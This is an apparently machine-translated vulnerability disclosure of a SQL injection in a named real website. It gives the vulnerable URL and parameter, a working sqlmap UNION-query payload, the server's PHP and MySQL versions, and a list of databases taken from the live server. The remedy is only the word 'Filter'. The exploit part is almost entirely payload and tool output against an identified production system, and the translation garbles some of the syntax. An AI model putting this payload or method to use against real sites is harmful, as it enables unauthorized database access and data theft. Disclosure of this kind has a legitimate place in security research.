Qizai.com master site SQL Injection Vulnerability

Qizai.com master site SQL Injection Vulnerability

Qizai.com master site SQL Injection Vulnerability

Injection Point http://www.jia.com/citylist/ask_city_list.php? Callback = jQuery172026691810227930546_1452738150949 & provinces = 1 * & _ = 1452738167755 injection parameter provinces


Sqlmap identified the following injection point (s) with a total of 93 HTTP (s) requests:
---
Parameter: #1 * (URI)
Type: UNION query
Title: Generic UNION query (NULL)-7 columns
Payload: http://www.jia.com: 80/citylist/ask_city_list.php? Callback = sums & provinces = 1' union all select null, CONCAT (0x71766b7a71, Hangzhou, 0x717a7a6a71), NULL, NULL ---& _ = 1452738167755
---
Web application technology: PHP 5.3.10
Back-end DBMS: MySQL> = 5.0.0
Sqlmap resumed the following injection point (s) from stored session:
---
Parameter: #1 * (URI)
Type: UNION query
Title: Generic UNION query (NULL)-7 columns
Payload: http://www.jia.com: 80/citylist/ask_city_list.php? Callback = sums & provinces = 1' union all select null, CONCAT (0x71766b7a71, Hangzhou, 0x717a7a6a71), NULL, NULL ---& _ = 1452738167755
---
Web application technology: PHP 5.3.10
Back-end DBMS: MySQL> = 5.0.0
Available databases [10]:
[*] _ Del_diaoding_20140702bak
[*] _ Del_query_20140702bak
[*] ConfigDB
[*] Information_schema
[*] Mysql
[*] Performance_schema
[*] Test
[*] Xiuxiu
[*] Zhuangxiu
[*] Zxq
Vulnerability fix: Filter